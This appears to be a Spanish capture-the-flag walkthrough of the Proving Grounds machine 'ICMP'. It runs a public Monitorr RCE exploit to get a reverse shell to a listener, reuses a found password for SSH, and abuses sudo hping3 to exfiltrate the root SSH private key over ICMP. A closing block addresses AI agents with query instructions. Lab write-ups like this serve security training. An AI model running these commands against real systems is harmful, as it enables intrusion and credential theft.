# ICMP

<figure><img src="/files/jbFDBlK3uGilhBPFaWDT" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos a resolver este CTF enumerando los servicios que tiene abiertos.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.214.218
```

<figure><img src="/files/GfmHYiSvqZfb7xkXG7kD" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será la enumeración profunda de los puertos abiertos.

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.214.218
```

<figure><img src="/files/z0nXKXvaw1eHx3t3qOzF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LjYpeoEuQtvGj4COWCmi" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38

#### Enumeración Web

La máquina ICMP está ejecutando un servidor Web en el puerto 80. Veamos su contenido.&#x20;

<figure><img src="/files/9V2Jg8m8Sa5Wq9PFJqxh" alt=""><figcaption></figcaption></figure>

Tenemos una versión "Monitorr 1.7.6m"

Vamos a enumerar archivos y directorios presentes en el sitio Web.

<pre><code><strong>feroxbuster -u http://192.168.214.218 -s200,301 -x html,txt,php -n
</strong></code></pre>

<figure><img src="/files/VvfgXp8BayvH2Pjw0LmC" alt=""><figcaption></figcaption></figure>

Solo encontramos el directorio donde nos encontramos cuando accedemos al sitio Web.

### Explotación

En la enumeración del sitio Web encontramos una versión de CMS, vamos a tratar de encontrar vulnerabilidades para esa versión.&#x20;

<figure><img src="/files/76cVefSNX4PSdjLlvdxV" alt=""><figcaption></figcaption></figure>

Existe una vulnerabilidad de RCE sin autenticación para esa versión de CMS. Vamos a descargar ese exploit desarrollado en Python.&#x20;

<figure><img src="/files/geiVZ1sst7yAuiAACPvm" alt=""><figcaption></figcaption></figure>

Para realizar la explotación necesitaremos la URL del sitio que queremos vulnerar, nuestra dirección IP y puerto local de escucha. También debemos poner a la escucha un oyente nc en el mismo puerto local indicado en la ejecución del exploit.&#x20;

```
python2 48980.py http://192.168.214.218/mon/ 192.168.45.5 1234
nc -lnvp 1234
```

<figure><img src="/files/cl6okYuAEwMlwFjC2ePS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1IPdJMqskffNznz65zZD" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo con bajos privilegios. El siguiente paso será buscar la flag local.txt

<figure><img src="/files/dpRAFS7520JzKzqUyNrZ" alt=""><figcaption></figcaption></figure>

### Pivontando de www-data a fox

Después de que conseguimos el punto de apoyo en el sistema, verificamos a los usuarios del mismo.

```
grep sh /etc/passwd
```

<figure><img src="/files/0iA6zxbfbEuwcSVhcbDs" alt=""><figcaption></figcaption></figure>

Vamos a enumerar el contenido del directorio del usuario /fox.

<figure><img src="/files/s7X7GCbYg2b8z7tiIK7T" alt=""><figcaption></figcaption></figure>

Interesante en la enumeración. Vemos un directorio /devel para el que no tenemos permiso apra acceder y un archivo reminder. Veamos el contenido del archivo.

<figure><img src="/files/hEjTdWtGAky64K6CPc5w" alt=""><figcaption></figcaption></figure>

El archivo "reminder" indica que la encriptación se lleva a cabo mediante un archivo denominado crypt.php. Además, se dispone de un directorio de desarrollo con permisos de ejecución para otros usuarios, pero sin permisos de lectura/escritura. En consecuencia, se podría inferir que el archivo crypt.php podría encontrarse dentro de dicho directorio. Vamos a comprobarlo.

<figure><img src="/files/sG3fvyKrGf4pfrERF9B3" alt=""><figcaption></figcaption></figure>

Puede la contraseña de algún servicio. Recordamos que este CTF ejecuta un servicio SSH en el puerto 22 y que tenemos un nombre de usuario, fox. Veamos si podemos conectarnos con el usuario fox a través de SSH.

<figure><img src="/files/3tzF7N3CGfXOC3LcAnwu" alt=""><figcaption></figcaption></figure>

Era la contraseña del usuario "fox" para el servicio SSH.&#x20;

### Elevación de privilegios

Una vez tenemos acceso a la máquina como usuario "fox", vamos a enumerar  las diferentes formas de poder elevar privilegios. Comenzamos con `sudo -l`.

<figure><img src="/files/Go3wdfjcMQO4LtHr5qHz" alt=""><figcaption></figcaption></figure>

Se permite ejecutar un comando con permisos de root, pero debido a que estamos en modo ICMP, no podemos acceder a un shell. Sin embargo, aún podemos transferir archivos a otra máquina. Consideramos enviar el archivo shadow o una clave privada SSH como posibles opciones.&#x20;

Para lograrlo, es necesario activar el modo de escucha de hping3 en la máquina receptora y enviar el archivo desde la máquina de origen hacia la receptora. Esto vamos a hacerlo con dos instancias SSH diferentes de la misma máquina de destino.

```
Terminal 1: sudo hping3 --icmp 127.0.0.1 --listen signature --safe
Terminal 2: sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2
```

<figure><img src="/files/B7GrxbfrbrKCyTaNtwoR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qWY5cHy6U9RreDQVSbbt" alt=""><figcaption></figcaption></figure>

Obtenemos una clave privada. Vamos a copiarla a nuestra máquina de ataque. A esta clave le damos permisos `chmod 600.` Vamos a tratar de conectarnos a la máquina objetivo como usuario root a través del servicio SSH aprovechando la clave id\_rsa que hemos encontrado.

```
ssh root@192.168.214.218 -i id_rsa
```

<figure><img src="/files/JJ8KZUiuguXHvLaU6qUJ" alt=""><figcaption></figcaption></figure>

Obtenemos acceso a la máquina objetivo como usuario "root". El último paso para completar la máquna será conseguir la flag proof.txt.

<figure><img src="/files/I2S4Kr3pqVzT2MfmLnNH" alt=""><figcaption></figcaption></figure>

Y ya estaría completa la máquina ICMP de la plataforma Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=-hMk_WGu2sY>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/icmp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
